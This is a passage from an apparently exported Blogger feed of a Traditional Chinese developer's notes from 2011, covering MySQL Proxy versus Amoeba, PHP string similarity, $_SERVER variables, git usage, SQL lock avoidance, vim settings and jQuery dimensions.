/&gt;在一次請求數據量比較大的情況下比如好幾千條數據，性能有所下降,這個原因是由於解析了mysql與客戶端之間交互的所有數據包，而mysql proxy在沒有使用lua特定腳本的時候是不會解析mysql數據包&lt;br /&gt;並發能力來說比mysql proxy會更強勁,還有穩定性方面都比mysql proxy強。從使用的連接數來看，在相同的客戶端並發連接情況下，與mysql數據庫的連接數將比mysql proxy少一半。 &lt;br /&gt;在0.27版本以後，amoeba的性能逐漸超過了MySQL Proxy&lt;/li&gt;&lt;li&gt;文件支援 &lt;br /&gt;維護amoebad的人似乎不多&lt;br /&gt;在官網查相關文件都有些不清楚&lt;br /&gt;問題回覆也沒有歸類，有問題不好解決&lt;/li&gt;&lt;li&gt;穩定性&lt;br /&gt;覺得Amoeba太新了&lt;br /&gt;官網上也有不少人回應bug的事&lt;br /&gt;穩定性也是需要考量的地方&lt;/li&gt;&lt;/ul&gt;References &lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://www.hebaodans.com/2009/12/a-m-o-e-b-a-gen-m-y-s-q-l-p-r-o-x-y-de-qu-bie/"&gt;Amoeba 跟 mysql proxy的区别.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://blog.linjian.org/articles/mysql-amoeba-proxy/" rel="bookmark" title="Permanent Link: MySQL+amoeba，輕量級的分佈式數據庫實現"&gt;MySQL+amoeba，輕量級的分佈式數據庫實現&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.phpchina.com/?action-viewnews-itemid-39291"&gt;MySQL使用Amoeba作为Proxy时的注意事项&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://agiletesting.blogspot.com/2009/04/mysql-load-balancing-and-read-write.html"&gt;MySQL load balancing and read-write splitting with MySQL Proxy&amp;nbsp;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.iteye.com/topic/188598"&gt;Amoeba for mysql 0.31发布（读写分离、负载均衡、Failover、数据切分 &lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-4973526723594392256?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/4973526723594392256/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=4973526723594392256' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4973526723594392256'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4973526723594392256'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/08/mysql-proxy-amoeba.html' title='MySQL Proxy &amp; Amoeba'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-txJPEDvOMPk/TkJVew4GOHI/AAAAAAAAFTo/yqpLo-NnwYM/s72-c/amoeba.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-199616151399476923</id><published>2011-08-05T17:10:00.002+08:00</published><updated>2011-08-05T17:11:58.715+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>php比較相似字串</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ol&gt;&lt;li&gt;比對相似的字串 similar_text($str1, $str2)&lt;br /&gt;&lt;code&gt;//測試性名陣列&lt;br /&gt;$names = array('Robert Smith','Bobby Smythe','Roberto Thithe', 'Robin Smith');&lt;br /&gt;&lt;br /&gt;//檢查相似程度&lt;br /&gt;foreach($names as $name){&lt;br /&gt;similar_text($name, 'Roberto Smythi', $percent);&lt;br /&gt;echo "{$name} = {$percent}%\n";&lt;br /&gt;}&lt;br /&gt;//result&lt;br /&gt;//Robert Smith = 88%&lt;br /&gt;//Bobby Smythe = 64%&lt;br /&gt;//Roberto Thithe = 74.074074074074%&lt;br /&gt;//Robin Smith' = 66.66666666667%&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;a class="function" href="http://www.php.net/manual/en/function.levenshtein.php" rel="rdfs-seeAlso"&gt;levenshtei()&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3 class="title"&gt;See Also&lt;/h3&gt;&lt;ul class="simplelist"&gt;&lt;li class="member"&gt;&lt;span class="function"&gt;&lt;a class="function" href="http://www.php.net/manual/en/function.soundex.php" rel="rdfs-seeAlso"&gt;soundex()&lt;/a&gt; - Calculate the soundex key of a string&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-199616151399476923?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/199616151399476923/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=199616151399476923' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/199616151399476923'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/199616151399476923'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/08/php.html' title='php比較相似字串'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-3580408790703665205</id><published>2011-08-01T18:21:00.004+08:00</published><updated>2011-08-02T16:03:59.887+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>$_SERVER</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;url為www.example.com/controllerA/actionB/argC/C&lt;br /&gt;利用$_SERVER的各參數，可得以下&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Server相關&lt;br /&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;參數&lt;/th&gt;&lt;th&gt;說明&lt;/th&gt;&lt;th&gt;value&lt;/th&gt; &lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SERVER_NAME&lt;/td&gt;&lt;td&gt;Server位置&lt;/td&gt;&lt;td&gt;www.example.com&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SERVER_ADDR&lt;/td&gt;&lt;td&gt;server IP位置&lt;/td&gt;&lt;td&gt;192.168.11.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SERVER_PORT&lt;/td&gt;&lt;td&gt;Port&lt;/td&gt;&lt;td&gt;80&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;DOCUMENT_ROOT&lt;/td&gt;&lt;td&gt;web的根目錄&lt;/td&gt;&lt;td&gt;/var/www/html(看/etc/httpd/conf/httpd.conf的設定)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SCRIPT_FILENAME&lt;/td&gt;&lt;td&gt;script位置&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SCRIPT_NAME&lt;/td&gt;&lt;td&gt;script名稱&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/li&gt;&lt;li&gt;Client相關&lt;br /&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;參數&lt;/th&gt;&lt;th&gt;說明&lt;/th&gt;&lt;th&gt;value&lt;/th&gt; &lt;/tr&gt;&lt;tr&gt;&lt;td&gt;REMOTE_ADDR&lt;/td&gt;&lt;td&gt;client的ip&lt;/td&gt;&lt;td&gt;192.168.11.1&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/li&gt;&lt;li&gt;request相關&lt;br /&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;參數&lt;/th&gt;&lt;th&gt;說明&lt;/th&gt;&lt;th&gt;value&lt;/th&gt; &lt;/tr&gt;&lt;tr&gt;&lt;td&gt;REQUEST_URI&lt;/td&gt;&lt;td&gt;request的uri&lt;/td&gt;&lt;td&gt;/controllerA/actionB/argC/C&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-3580408790703665205?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/3580408790703665205/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=3580408790703665205' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/3580408790703665205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/3580408790703665205'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/08/server.html' title='$_SERVER'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-6454919769287895063</id><published>2011-07-27T16:48:00.028+08:00</published><updated>2011-10-10T22:18:05.231+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='git'/><title type='text'>git</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul&gt;&lt;li&gt;安裝git&lt;ul style="text-align: left;"&gt;&lt;li&gt;install git&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;$ yum install git-core&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;如果發生No package git-core available.&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;$rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm&lt;/pre&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;li&gt;&lt;a href="http://kevyu.blogspot.com/2011/09/git-config.html"&gt;環境設定&lt;/a&gt;&lt;br /&gt;git config、git script自動完成&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;git操作&lt;br /&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;建立Repository &lt;br /&gt;兩種方法&lt;br /&gt;&lt;ul&gt;&lt;li&gt;以該資料夾當成新的Repository &lt;br /&gt;&lt;code class="console"&gt;$ cd (project-directory)&lt;br /&gt;$ git init&lt;br /&gt;$ (add some files)&lt;br /&gt;$ git add .&lt;br /&gt;$ git commit -m 'Initial commit'&lt;/code&gt;&lt;/li&gt;&lt;li&gt;從遠端複製一份Repository &lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;git clone http://xxxx&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://kevyu.blogspot.com/2011/10/git-log.html"&gt;查看版本&lt;/a&gt;&lt;br /&gt;git log&lt;/li&gt;&lt;li&gt;&lt;a href="http://kevyu.blogspot.com/2011/10/git-stash.html"&gt;暫存&lt;/a&gt;&lt;br/&gt;git stash&lt;li&gt;&lt;a href="http://kevyu.blogspot.com/2011/10/git.html"&gt;重置及還原&lt;/a&gt;&lt;br/&gt;reset, revert&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ul&gt;&lt;a href="http://kevyu.blogspot.com/2011/10/git-faq.html"&gt;FAQ&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;commit原則 (from &lt;a href="http://www.slideshare.net/ihower/git-and-github-7306407?from=ss_embed"&gt;ihover's slide&lt;/a&gt;)&lt;br /&gt;&lt;ul&gt;&lt;li&gt; 適當的粒度/相關性/獨立性&lt;/li&gt;&lt;ul&gt;&lt;li&gt; 以一個小功能、小改進或一個bug fixed為單位&lt;/li&gt;&lt;li&gt; 無相關的修改不在同一個commit&lt;/li&gt;&lt;li&gt; 語法錯誤的半成品程式不能commit&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;git push error&lt;br /&gt;git v1.7後 就不允許覆蓋origin的master&lt;br /&gt;如果當初始化資料夾下git --bare init時&lt;br /&gt;沒加上參數--bare 就會發生這個錯誤&lt;br /&gt;&lt;code class="console"&gt;refusing to update checked out branch: refs/heads/master&lt;/code&gt;&lt;br /&gt;如果硬要幹的話....&lt;br /&gt;&lt;code class="console"&gt;git config --bool core.bare true&lt;/code&gt;&lt;br /&gt;這樣就可以push了&lt;br /&gt;&lt;br /&gt;另外較好的解決方法是在local開branch開發，再push到origin的branch後，做merge動作在要push的branch下&lt;code class="console"&gt;$git push origin HEAD:branch2 #branchX未建會自動建&lt;/code&gt;回到origin，用git branch會看到branch2&lt;code class="console"&gt;$git checkout master #假設是master要merge branch2$git merge branch2&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;References&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://progit.org/"&gt;Pro Git&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://gitref.org/"&gt;Git Reference&lt;/a&gt;&lt;br /&gt;目錄分類清楚，教學易懂，比較容易進入狀況&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.vogella.de/articles/Git/article.html"&gt;Git Tutorial&lt;/a&gt;&lt;br /&gt;類似cookbook，想做什麼就查一下，還不錯&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.slideshare.net/littlebtc/git-5528339"&gt;寫給大家的 Git 教學&lt;/a&gt;&lt;br /&gt;投影片，利用分支圖說明，對於merge比較容易理解&lt;/li&gt;&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/2816369/git-push-error-remote-rejected-master-master-branch-is-currently-checked-ou"&gt;git push error 'remote rejected] master -&amp;gt; master (branch is currently checked out)'&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-6454919769287895063?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/6454919769287895063/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=6454919769287895063' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6454919769287895063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6454919769287895063'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/07/git.html' title='git'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-5395771452297668928</id><published>2011-07-22T10:29:00.004+08:00</published><updated>2011-08-10T10:56:53.945+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Database'/><title type='text'>提升查詢效率與避免LOCK發生</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Sql查詢時 會因之前的操作而做lock&lt;br /&gt;因此會有些delay的等待&lt;br /&gt;加了WITH (nolock)就不會理會transaction lock&lt;br /&gt;而直接回覆查詢資料，因而提升回覆速度&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;MSSQL&lt;br /&gt;&lt;code&gt;SELECT * FROM TABLE WITH (nolock)&lt;/code&gt;&lt;/li&gt;&lt;li&gt;MySQL &lt;br /&gt;&lt;ol&gt;&lt;li&gt; 利set session&lt;br /&gt;&lt;code&gt;SET SESSION TRANSACTION ISOLATION LEVEL READ UNCOMMITTED ;&lt;br /&gt;SELECT * FROM TABLE_NAME ;&lt;br /&gt;SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ ;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;inside a transaction&lt;br /&gt;&lt;code&gt;SET TRANSACTION ISOLATION LEVEL REPEATABLE READ&lt;br /&gt;GO&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; 設定global variable&lt;br /&gt;&lt;code&gt;SELECT @@global.tx_isolation; (global isolation level)&lt;br /&gt;SELECT @@tx_isolation; (session isolation level)&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;References&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://www.itecsoftware.com/with-nolock-table-hint-equivalent-for-mysql"&gt;WITH (NOLOCK) table hint equivalent for MySQL&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.wretch.cc/blog/wthomasu/2476699"&gt;提升查詢效率與避免LOCK發生&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-5395771452297668928?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/5395771452297668928/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=5395771452297668928' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5395771452297668928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5395771452297668928'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/07/lock.html' title='提升查詢效率與避免LOCK發生'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-1695860481770076446</id><published>2011-07-21T10:57:00.022+08:00</published><updated>2012-01-02T15:52:06.401+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>vim 二三事</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;環境&lt;br /&gt;&lt;ul&gt;&lt;li&gt;將vi以vim啟動&lt;br /&gt;就是下vi等於下vim&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;# vi /root/.bashrc&lt;br /&gt;---------/root/.bashrc----------&lt;br /&gt;alias mv='mv -i' &lt;br /&gt;alias vi='vim'  #加入這一行&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;支援編碼&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;vim /etc/vim/vimrc&lt;br /&gt;&lt;br /&gt;-----------/etc/vim/vimrc-------------------&lt;br /&gt;&lt;br /&gt;set fileencoding=utf-8,big5,gb18030  //支援中文utf-8,繁體big5及簡體gb&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;Turn on or off color syntax highlighting in vi or vim&lt;br /&gt;&lt;ul&gt;&lt;li&gt;從環境變數設定&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;# echo 'syntax on' &amp;gt; /root/.vimrc&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;使用中設定&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;//command mode&lt;br /&gt;&lt;br /&gt;:syntax on //or off&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;取消自動產生的*.ext~, .*.swp檔 &lt;br /&gt;這是vi自動產生的備份檔 在/etc/vimrc下加入&lt;br /&gt;&lt;pre class="brush: php;"&gt;set nobackup #不產生*.ext~&lt;br /&gt;set noswapfile #不產生.*swp&lt;br /&gt;set nowritebackup #不管不產生哪一項，這個都要給&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;關掉吵人的beep聲&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;set vb&lt;/pre&gt;&lt;/div&gt;vb = visual bell&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;縮排 indent&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;取得indent檔&lt;br /&gt;先取得相關的indent檔，例如&lt;a href="http://www.vim.org/scripts/script.php?script_id=2075"&gt;html縮排&lt;/a&gt;，會得到html.vim&lt;br /&gt;其他相關縮排檔&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.vim.org/scripts/script.php?script_id=1840"&gt;javascript&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.vim.org/scripts/script.php?script_id=1120"&gt;php&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;放到~/.vim/indent&amp;nbsp; &lt;br /&gt;如果沒有就自行建資料夾&lt;/li&gt;&lt;li&gt;啟動縮排&lt;br /&gt;在~/.vimrc中(如果沒有就自行建)，加入 &lt;q&gt;filetype indent on&lt;/q&gt; &lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;編輯&lt;br /&gt;&lt;ul&gt;&lt;li&gt; 取代斷行符號&lt;br /&gt;用vi編輯時，有時會遇到&lt;span style="color: blue;"&gt;^M&lt;/span&gt;的斷行符號&lt;br /&gt;雖然不影響，不過還挺礙眼的&lt;br /&gt;幾百行下來還挺難改的，又打不出取代的符號，總算在找到取代的方法了&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;:%s/^V^M//g&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote class=""&gt;^v為CONTROL-V，而^m是CONTROL-M當打完這兩個時，就會出現&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;:%s/&lt;span style="color: blue;"&gt;^M&lt;/span&gt;//g&lt;/pre&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;縮排&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Html, JavaScript&lt;br /&gt;&lt;a href="http://www.vim.org/scripts/script.php?script_id=3081"&gt;JavaScript Indent : Javascript indenter (HTML indent is included) &lt;/a&gt;, Preston Koprivica  &amp;nbsp;&lt;/li&gt;&lt;/ol&gt;&lt;ol&gt;&lt;a href="http://www.vim.org/scripts/download_script.php?src_id=15643"&gt;直接下載&lt;/a&gt;&amp;nbsp;&lt;/ol&gt;&lt;ol&gt;安裝：&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;# tar xvf web-indent.tar  //解壓&lt;br /&gt;# cd web-indent/indent/     //進到html.vim及javascript.vim的資料夾&lt;br /&gt;# cp *.vim ~/.vim/indent/  //將*.vim全放到runtime目錄下的vim環境&lt;/pre&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ul&gt;References  &lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://www.tech-recipes.com/rx/150/remove-m-characters-at-end-of-lines-in-vi/"&gt;remove ^M characters at end of lines in vi&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://vim.wikia.com/wiki/Disable_beeping#Disable_beep_and_flash_with_an_autocmd"&gt;Disable beeping&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://newmodel.pixnet.net/blog/post/24882374"&gt;讓vim自動判斷中文編碼&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-1695860481770076446?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/1695860481770076446/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=1695860481770076446' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1695860481770076446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1695860481770076446'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/07/vim.html' title='vim 二三事'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-9155884262011777097</id><published>2011-07-18T17:13:00.001+08:00</published><updated>2011-07-18T17:43:46.070+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='jQuery'/><title type='text'>window, document, dom的寬與高</title><content type='html'>&lt;ul&gt;&lt;li&gt;document &lt;br /&gt;整份文件的高 $(document).height()&lt;/li&gt;&lt;li&gt;window &lt;br /&gt;視窗(browser)的高  $(window).height()&lt;/li&gt;&lt;li&gt;dom物件 &lt;br /&gt;絕對高 $(xxx).position().top; //不是method哦&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;$(window).scroll(function(){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; console.log('document:%d, window:%d scroll:%d',&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $(document).height(),&amp;nbsp; //整份文件的高&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $(window).height(),&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //視窗(browser)的高&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $(window).scrollTop()); //目前捲的位置&lt;br /&gt;});&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-9155884262011777097?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/9155884262011777097/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=9155884262011777097' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/9155884262011777097'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/9155884262011777097'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/07/window-document-dom.html' title='window, document, dom的寬與高'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-3827285176849575015</id><published>2011-07-17T22:42:00.006+08:00</published><updated>2011-07-17T23:01:08.143+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>MySQL - select最佳化分析</title><content type='html'>利用EXPLAIN幫助索引和查出最佳化的查詢語法&lt;br 